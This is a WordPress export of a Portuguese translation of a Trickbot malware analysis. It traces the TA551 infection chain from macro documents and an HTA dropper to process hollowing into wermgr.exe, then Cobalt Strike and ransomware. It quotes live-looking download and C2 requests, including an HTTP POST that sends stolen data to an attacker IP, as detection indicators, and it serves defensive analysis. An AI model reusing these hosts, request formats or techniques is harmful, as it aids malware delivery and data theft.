{"id":19515,"date":"2022-05-24T21:24:30","date_gmt":"2022-05-25T00:24:30","guid":{"rendered":"https:\/\/www.ethicalhacker.com.br\/site\/?p=19515"},"modified":"2022-05-24T21:24:30","modified_gmt":"2022-05-25T00:24:30","slug":"maware-trickbot","status":"publish","type":"post","link":"https:\/\/www.ethicalhacker.com.br\/site\/2022\/05\/basico\/maware-trickbot\/","title":{"rendered":"Maware Trickbot"},"content":{"rendered":"\n

An\u00e1lise de malware Trickbot<\/h1>\n

\u00a0<\/p>\n

Hoje em dia, n\u00e3o estamos mais lidando com v\u00edrus do tipo caseiro e grosseiro. Malware \u00e9 uma ind\u00fastria, e os desenvolvedores profissionais fazem trocas, seja roubando o c\u00f3digo de algu\u00e9m ou colaborando deliberadamente. Os ataques s\u00e3o multicamadas hoje em dia, com diversos aplicativos de software sofisticados assumindo diferentes tarefas ao longo da cadeia de ataque, desde o comprometimento inicial at\u00e9 a exfiltra\u00e7\u00e3o ou criptografia de dados finais. As ferramentas espec\u00edficas para cada etapa s\u00e3o altamente especializadas e muitas vezes podem ser alugadas como servi\u00e7o, incluindo suporte ao cliente e modelos de assinatura para uso profissional (ab). Obviamente, isso aumentou amplamente tanto a disponibilidade quanto a efic\u00e1cia e o impacto potenciais do malware. Parece assustador?<\/p>\n

\u00a0<\/p>\n

Bem, tem mas, a aparente profissionaliza\u00e7\u00e3o tamb\u00e9m tem alguns lados bons. <\/span>Um fator \u00e9 que certos m\u00f3dulos reutilizados comumente encontrados em malware podem ser usados \u200b\u200bpara identificar, rastrear e analisar software de ataque profissional. Em \u00faltima an\u00e1lise, isso significa que com experi\u00eancia suficiente, analistas habilidosos podem detectar e interromper o malware em suas trilhas, geralmente com dano m\u00ednimo ou nenhum (se os invasores conseguirem passar pelas primeiras linhas de defesa).<\/p>\n

Vamos ver essa mec\u00e2nica em a\u00e7\u00e3o enquanto acompanhamos um analista real do CyberSOC investigando o caso do malware apelidado de “Trickbot”.<\/p>\n

\u00a0<\/p>\n

Origens do Trickbot<\/span><\/strong><\/h2>\n

\u00a0<\/p>\n

Os CyberSOCs da Orange Cyberdefense v\u00eam rastreando o malware espec\u00edfico chamado Trickbot h\u00e1 algum tempo. \u00c9 comumente atribu\u00eddo a um Ator de Amea\u00e7a espec\u00edfico, geralmente conhecido sob o nome de Wizard Spider (Crowdstrike), UNC1778 (FireEye) ou Gold Blackburn (Secureworks).<\/p>\n

\u00a0<\/p>\n

O Trickbot \u00e9 um Trojan popular e modular, inicialmente usado para direcionar o setor banc\u00e1rio, que tamb\u00e9m foi usado para comprometer empresas de outros setores. Ele oferece v\u00e1rios tipos de cargas \u00fateis. O Trickbot evoluiu progressivamente para ser usado como Malware-as-a-Service (MaaS) por diferentes grupos de ataque.<\/p>\n

\u00a0<\/p>\n

O agente da amea\u00e7a por tr\u00e1s disso \u00e9 conhecido por agir rapidamente, usando a conhecida ferramenta de p\u00f3s-explora\u00e7\u00e3o Cobalt Strike para se mover lateralmente na infraestrutura de rede da empresa e implantar ransomware como Ryuk ou Conti como est\u00e1gio final. <\/span>Como \u00e9 usado para acesso inicial, ser capaz de detectar essa amea\u00e7a o mais r\u00e1pido poss\u00edvel \u00e9 um elemento-chave do sucesso para evitar novos ataques.<\/p>\n

\u00a0<\/p>\n

Essa an\u00e1lise de amea\u00e7as se concentrar\u00e1 no agente de amea\u00e7as chamado TA551 e no uso do Trickbot como exemplo. Apresentarei como podemos realizar a detec\u00e7\u00e3o nas diferentes etapas da cadeia de morte, desde a infec\u00e7\u00e3o inicial por meio de campanhas de spam, passando para a detec\u00e7\u00e3o de ferramentas usadas pelo agente da amea\u00e7a durante o comprometimento. Tamb\u00e9m forneceremos algumas informa\u00e7\u00f5es adicionais sobre como o agente da amea\u00e7a est\u00e1 usando esse malware e a evolu\u00e7\u00e3o que levou.<\/p>\n

\u00a0<\/p>\n

1<\/strong> \u2014 Acesso inicial<\/strong><\/h4>\n

\u00a0<\/p>\n

Desde junho de 2021, o grupo TA551 come\u00e7ou a entregar o malware Trickbot usando um zip criptografado. O pretexto do e-mail imita uma informa\u00e7\u00e3o importante para diminuir a vigil\u00e2ncia do usu\u00e1rio.<\/p>\n

\u00a0<\/p>\n

O anexo inclui um arquivo .zip que tamb\u00e9m inclui um documento. O arquivo zip sempre usa o mesmo nome de “request.zip” ou “info.zip” e o mesmo nome para o arquivo de documento.<\/p>\n

\u00a0<\/p>\n

NB: O Threat Actor usou o mesmo modus operandi antes\/em paralelo ao Trickbot para entregar outro malware. Observamos durante o mesmo per\u00edodo, de junho de 2021 a setembro de 2021, o uso do Bazarloader na carga de acesso inicial.<\/i><\/p>\n

\u00a0<\/p>\n\n\n\n

2<\/span><\/span><\/strong> – <\/span><\/span>Execu\u00e7\u00e3o<\/span><\/span><\/strong><\/h4>\n

\u00a0<\/p>\n

Quando o usu\u00e1rio abre o documento com as macros habilitadas, um arquivo HTA ser\u00e1 descartado no sistema e iniciado usando cmd.exe. O arquivo HTA \u00e9 usado para baixar a DLL do Trickbot de um servidor remoto.<\/span><\/p>\n

\u00a0<\/p>\n

Este comportamento est\u00e1 relacionado ao TA551, podemos identific\u00e1-lo com o padr\u00e3o “\/bdfh\/” na requisi\u00e7\u00e3o GET.<\/span><\/p>\n

\u00a0<\/p>\n

\n

GET \/bdfh\/M8v[..]VUb HTTP\/1.1<\/span><\/i><\/p>\n

Aceitar: *\/*<\/span><\/i><\/p>\n

Anfitri\u00e3o: wilkinstransportss.com<\/span><\/i><\/p>\n

Tipo de conte\u00fado: application\/octet-stream<\/span><\/i><\/p>\n

\u00a0<\/p>\n<\/blockquote>\n

NB: Padr\u00f5es relacionados ao TA551 evolu\u00edram com o tempo, desde meados de agosto de 2021, o padr\u00e3o mudou para “\/bmdff\/”. <\/span>A DLL \u00e9 registrada como um arquivo jpg para ocultar a extens\u00e3o real e tenta ser executada via regsvr32.exe. Em seguida, o Trickbot ser\u00e1 injetado em “wermgr.exe” usando t\u00e9cnicas de Process Hollowing.<\/p>\n

\u00a0<\/p>\n\n\n\n\n
\"\"<\/a><\/td>\n<\/tr>\n
Figura 1 – Execu\u00e7\u00e3o do Trickbot na sandbox<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u00a0<\/h4>\n\n\n\n\n
\u00a0<\/td>\n<\/tr>\n
\u00a0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n\n\n\n
\u00a0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

3<\/span><\/strong> \u2014 <\/span>Cole\u00e7\u00e3o<\/span><\/strong><\/h4>\n

\u00a0<\/p>\n

Ap\u00f3s o comprometimento inicial bem-sucedido do sistema, o Trickbot pode coletar muitas informa\u00e7\u00f5es sobre seu alvo usando execut\u00e1veis \u200b\u200bleg\u00edtimos do Windows e identificar se o sistema \u00e9 membro de um dom\u00ednio do Active Directory.<\/p>\n

\u00a0<\/p>\n

Al\u00e9m disso, para essa cole\u00e7\u00e3o, o Trickbot verificar\u00e1 mais informa\u00e7\u00f5es, como a compila\u00e7\u00e3o do Windows, o endere\u00e7o IP p\u00fablico, o usu\u00e1rio que est\u00e1 executando o Trickbot e tamb\u00e9m se o sistema est\u00e1 atr\u00e1s de um firewall NAT.<\/p>\n

\u00a0<\/p>\n

O Trickbot tamb\u00e9m \u00e9 capaz de coletar informa\u00e7\u00f5es confidenciais, como dados banc\u00e1rios ou credenciais, e extra\u00ed-las para um servidor dedicado de comando e controle (C2).<\/p>\n

\u00a0<\/p>\n

4<\/strong> – Comando e Controle<\/strong><\/h4>\n

\u00a0<\/p>\n

Quando o sistema est\u00e1 infectado, ele pode entrar em contato com v\u00e1rios tipos de Trickbot C2. O C2 principal \u00e9 aquele com o qual o sistema da v\u00edtima se comunicar\u00e1, principalmente para obter novas instru\u00e7\u00f5es.<\/p>\n

\u00a0<\/p>\n

Todas as solicita\u00e7\u00f5es para um Trickbot C2 usam o seguinte formato:<\/p>\n

\u00a0<\/p>\n

\n

“\/<gtag>\/<Client_ID>\/<comando>\/<adicional<\/p>\n

informa\u00e7\u00f5es sobre o comando>\/”<\/p>\n

\u00a0<\/p>\n<\/blockquote>\n

\n

GET \/zev4\/56dLzNyzsmBH06b_W10010240.42DF9F315753F31B13F17F5E731B7787\/0\/Windows 10 x64\/1108\/XX.XX.XX.XX\/38245433F0E3D5689FEAFAEE84483106F4382CC92<\/i><\/p>\n

6571D97A519A2EF29\/0bqjxzSOQUSLPRJMQSWKDHTHKEG\/HTTP\/1.1<\/i><\/p>\n

Conex\u00e3o: Keep-Alive<\/i><\/p>\n

Agente do usu\u00e1rio: curl\/7.74.0<\/i><\/p>\nAnfitri\u00e3o: 202.165.47.106<\/i><\/blockquote>\n

\u00a0<\/p>\n

Todos os dados coletados s\u00e3o enviados para um Exfiltration Trickbot C2 separado usando m\u00e9todos de solicita\u00e7\u00e3o HTTP POST. O formato da solicita\u00e7\u00e3o permanece o mesmo, mas o comando “90” \u00e9 espec\u00edfico para exfiltra\u00e7\u00e3o de dados, mais precisamente dados do sistema coletados do sistema infectado.<\/p>\n

\u00a0<\/p>\n

\n

POST \/zev4\/56dLzNyzsmBH06b_W10010240.42DF9F315753F31B13F17F5E731B7787\/90\/ HTTP\/1.1<\/i><\/p>\n

Conex\u00e3o: Keep-Alive<\/i><\/p>\n

Tipo de conte\u00fado: multipart\/form-data; limite=——Limite<\/i><\/p>\n

ary0F79C562<\/i><\/p>\n

Agente do usu\u00e1rio: Ghost<\/i><\/p>\n

Anfitri\u00e3o: 24.242.237.172:443<\/i><\/p>\n<\/blockquote>\n

\u00a0<\/p>\n

Ataques de acompanhamento: Cobalt Strike, Ryuk, Conti<\/strong><\/h2>\n

\u00a0<\/p>\n

O Cobalt Strike \u00e9 uma ferramenta comercial de acesso remoto com todos os recursos que se autodenomina um “software de simula\u00e7\u00e3o de advers\u00e1rios projetado para executar ataques direcionados e emular as a\u00e7\u00f5es p\u00f3s-explora\u00e7\u00e3o de agentes avan\u00e7ados de amea\u00e7as”. Os recursos interativos de p\u00f3s-explora\u00e7\u00e3o do Cobalt Strike cobrem toda a gama de t\u00e1ticas ATT&CK, todas executadas em um \u00fanico sistema integrado.<\/p>\n

\u00a0<\/p>\n

Em nosso contexto, o Trickbot usa o processo wermgr.exe sequestrado para carregar um sinalizador Cobalt Strike na mem\u00f3ria.<\/p>\n

\u00a0<\/p>\n

V\u00e1rios operadores de ransomware tamb\u00e9m s\u00e3o afiliados aos agentes de amea\u00e7as. O objetivo do Trickbot \u00e9 realizar o acesso inicial que antecede o ataque real de ransomware. Conti e Ryuk s\u00e3o os principais ransomwares observados no est\u00e1gio final das infec\u00e7\u00f5es por Trickbot, embora de longe n\u00e3o sejam os \u00fanicos. A Conti \u00e9 um grupo que opera um modelo de Ransomware como servi\u00e7o e est\u00e1 dispon\u00edvel para v\u00e1rios agentes de amea\u00e7as afiliados. Ryuk, por outro lado, \u00e9 um ransomware que est\u00e1 ligado diretamente ao agente da amea\u00e7a por tr\u00e1s do Trickbot.<\/p>\n

\u00a0<\/p>\n

Aprendizagens chaves<\/strong><\/h2>\n

\u00a0<\/p>\n

Os agentes de amea\u00e7as geralmente ainda usam t\u00e9cnicas b\u00e1sicas para entrar na rede, como e-mails de phishing. Aumentar a conscientiza\u00e7\u00e3o sobre phishing \u00e9 definitivamente um \u00f3timo primeiro passo para aumentar a resili\u00eancia cibern\u00e9tica. Os melhores ataques s\u00e3o, afinal, aqueles que nunca come\u00e7am.<\/p>\n

\u00a0<\/p>\n

\u00c9 claro que n\u00e3o existe prote\u00e7\u00e3o preventiva \u00e0 prova de balas no cyber. \u00c9 ainda mais importante ter a capacidade de detectar o Trickbot em um est\u00e1gio inicial. Embora a cadeia de ataque possa ser quebrada em todas as etapas ao longo do caminho, quanto mais tarde maior o risco de comprometimento total e os danos resultantes. O Trickbot \u00e9 usado por diferentes agentes de amea\u00e7as, mas a abordagem de detec\u00e7\u00e3o permanece a mesma na maioria de seus est\u00e1gios espec\u00edficos. Alguns dos indicadores de compromisso s\u00e3o explicados aqui. Mas o malware tamb\u00e9m recebe atualiza\u00e7\u00f5es.<\/p>\n

\u00a0<\/p>\n

Os analistas precisam ficar atentos. <\/span>Rastrear e observar um malware espec\u00edfico ou um agente de amea\u00e7a \u00e9 a chave para acompanhar sua evolu\u00e7\u00e3o, aprimoramento e manter-se atualizado sobre uma detec\u00e7\u00e3o eficiente da amea\u00e7a.<\/p>\n

\u00a0<\/p>\n

Esta \u00e9 uma hist\u00f3ria das trincheiras encontradas no Security Navigator . Mais an\u00e1lises de malware e outras coisas interessantes, incluindo contas de opera\u00e7\u00f5es de resposta a emerg\u00eancias e a vis\u00e3o de um cientista criminal sobre extors\u00e3o cibern\u00e9tica, bem como muitos fatos e n\u00fameros sobre o cen\u00e1rio de seguran\u00e7a em geral tamb\u00e9m podem ser encontrados l\u00e1. O relat\u00f3rio completo est\u00e1 dispon\u00edvel para download no site da Orange Cyberdefense, ent\u00e3o d\u00ea uma olhada. Vale a pena!<\/p>\n

\u00a0<\/p>\n

[1] MITRE ATT&CK Cobaltstrike: https:\/\/attack.mitre.org\/software\/S0154\/<\/a><\/i><\/p>\n

\u00a0<\/p>\n

Este artigo \u00e9 uma tradu\u00e7\u00e3o de: https:\/\/thehackernews.com\/2022\/05\/malware-analysis-trickbot.html\u00a0<\/a> (Autor: Florian Goutin<\/span><\/strong> , analista de CyberSOC da Orange Cyberdefense)<\/span><\/i><\/p>\n","protected":false},"excerpt":{"rendered":"

An\u00e1lise de malware Trickbot \u00a0 Hoje em dia, n\u00e3o estamos mais lidando com v\u00edrus do tipo caseiro e grosseiro. Malware \u00e9 uma ind\u00fastria, e os desenvolvedores profissionais fazem trocas, seja roubando o c\u00f3digo de algu\u00e9m ou colaborando deliberadamente. Os ataques s\u00e3o multicamadas hoje em dia, com diversos aplicativos de software sofisticados assumindo diferentes tarefas ao […]<\/p>\n","protected":false},"author":2,"featured_media":19523,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[89,100,105],"tags":[],"class_list":["post-19515","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-basico","category-diversos","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/posts\/19515","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/comments?post=19515"}],"version-history":[{"count":13,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/posts\/19515\/revisions"}],"predecessor-version":[{"id":19529,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/posts\/19515\/revisions\/19529"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/media\/19523"}],"wp:attachment":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/media?parent=19515"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/categories?post=19515"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/tags?post=19515"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}